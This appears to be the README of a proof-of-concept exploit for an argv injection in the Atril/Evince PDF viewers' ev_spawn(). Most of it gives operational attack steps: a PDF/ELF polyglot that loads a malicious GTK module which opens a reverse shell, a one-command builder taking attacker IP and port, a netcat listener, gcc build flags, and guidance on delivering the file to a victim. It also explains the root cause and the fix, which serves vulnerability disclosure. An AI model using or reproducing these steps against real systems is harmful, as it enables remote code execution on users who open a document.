ev_spawn() (shell/ev-application.c) 中 argv 注入的有效概念验证。在精心构造的PDF渲染页面上任意位置单击一次,即可利用运行查看器的用户权限执行任意代码。
此版本使用%f替换技术:dlopen目标路径由查看器本身在运行时发现,因此攻击者无需知道多格式文件在受害者文件系统中的任何位置(无需用户名、无需$HOME、无需下载目录)。
https://github.com/user-attachments/assets/c12aaa77-4dd8-4dbc-b039-a510e9fbfced
| 文件 | 用途 |
|---|
exploit.sh | 一键封装:在单个命令中编译+构建多格式文件。 |
evil_gtk_module.c | 载荷源码。构造函数打开一个反弹shell并在/tmp/PWNED_atril_<pid>.txt放置标记文件。 |
build_polyglot.py | 多格式文件构建器。将编译好的evil.so与包含/GoToR动作和%f隐藏传输的最小PDF主体结合。 |
必须在与受害者架构匹配的Linux主机上构建。evil_gtk_module.c跨架构可移植;生成的ELF是架构相关的。macOS无法生成.so,因为Apple的链接器不接受GNU build-id标志。
ev_spawn()在构建生成命令行时,直接插入PDF的/D(命名目标)和/F(文件规范)字符串,而未使用g_shell_quote。结果由g_app_info_create_from_commandline → g_shell_parse_argv解析回argv。精心构造/D(以空格开头并附带--gtk-module=...)会导致生成的子查看器接收--gtk-module=作为独立的argv元素,gtk_init()通过g_module_open()(即dlopen)处理该参数。加载ELF中的任何构造函数都会以受害者权限运行。
多格式文件是单个文件,同时是有效的PDF和有效的ELF共享库——%PDF-1.4标记被嵌入到.note.gnu.build-id SHA1槽位(偏移量0x1d8),poppler可以接受它,因为它会在前1024字节扫描魔数;ld.so也可以接受,因为build-id内容只是信息性的。
%f技巧(此版本)补全了最后一块。我们不再将多格式文件的路径硬编码到PDF中,而是嵌入glib的%f占位符。glib的g_app_info_launch_uris会将%f替换为atril在运行时通过g_path_get_dirname(source_uri) + /F.basename解析的URI的本地路径形式。生成的子进程argv最终包含--gtk-module=<实际运行时路径>,dlopen成功,实现RCE。
/F设置为<basename>?1而不是仅仅<basename>,因为当解析后的/F URI等于源URI时,ev_application_open_uri_at_dest()会短路并仅导航(而不是生成新进程)。尾随的查询字符串使URI不同;glib的g_filename_from_uri在构建%f时会将其剥离。
./exploit.sh -o report.pdf --ip 192.168.1.5 --port 4444
输出:嵌入了反弹shell目标的report.pdf。以相同的基名(任何目录)部署给受害者,启动监听器,让受害者用atril打开它并点击页面任意位置。
# Attacker:
nc -lvnp 4444
# Victim:
atril /any/where/report.pdf
# click anywhere on the rendered page → shell back
/F中嵌入的基名由输出文件名派生,因此多格式文件期望以report.pdf部署。目录无关紧要——atril通过%f替换在运行时解析完整路径。Link注解覆盖整个MediaBox,因此任意点击都会触发动作。标记文件也会写入/tmp/PWNED_atril_<pid>.txt。
exploit.sh所有选项-o, --output FILE Output PDF path (default: polyglot.pdf)
--ip IP Reverse shell target IP (default: 127.0.0.1)
--port PORT Reverse shell target port (default: 9000)
--cc COMPILER C compiler (default: gcc, env: CC)
--keep-so Don't delete evil.so after build
-h, --help Show usage
交叉编译示例(在x86_64主机上构建aarch64多格式文件):
CC=aarch64-linux-gnu-gcc ./exploit.sh -o x.pdf --ip 10.0.0.5 --port 4444
exploit.sh)如果你想完全控制每一步:
使用你的IP/端口编译evil.so。
gcc -shared -fPIC -Wl,--build-id=sha1 \
-DATTACKER_IP='"192.168.1.5"' \
-DATTACKER_PORT='"4444"' \
-o evil.so evil_gtk_module.c
构建多格式文件。
python3 build_polyglot.py evil.so <output.pdf>
/F中嵌入的基名由输出文件名派生。将多格式文件以相同的基名部署在受害者处——目录无关紧要,atril在运行时解析它。
已确认:
易受攻击的代码(ev_spawn和/GoToR打开路径)三者共享。evince上游有相同的bug;较新evince构建的唯一区别是GTK4移除了--gtk-module=命令行标志,这堵死了这个特定的dlopen利用入口。针对GTK3构建的evince(撰写本文时大多数LTS发行版)仍存在漏洞。
该bug自2010年代早期编写ev_spawn命令行构造代码时便存在。修复方法很简单:在g_string_append_printf之前将每个攻击者可控的组件包裹在g_shell_quote中,或者改用将argv作为列表传递给g_spawn_async(完全避免shell解析的往返过程)。
文件名保留。 /F中嵌入的基名必须与触发时多格式文件在受害者磁盘上的文件名匹配。如果受害者打开前重命名了文件,atril会将/F解析为不存在的路径,dlopen失败。
GTK4。 针对GTK4构建的较新evince移除了--gtk-module=命令行标志,这堵死了这个特定的dlopen利用入口。argv注入本身仍然存在——只有这个特定的利用路径被GTK4缓解。
J.Medeiros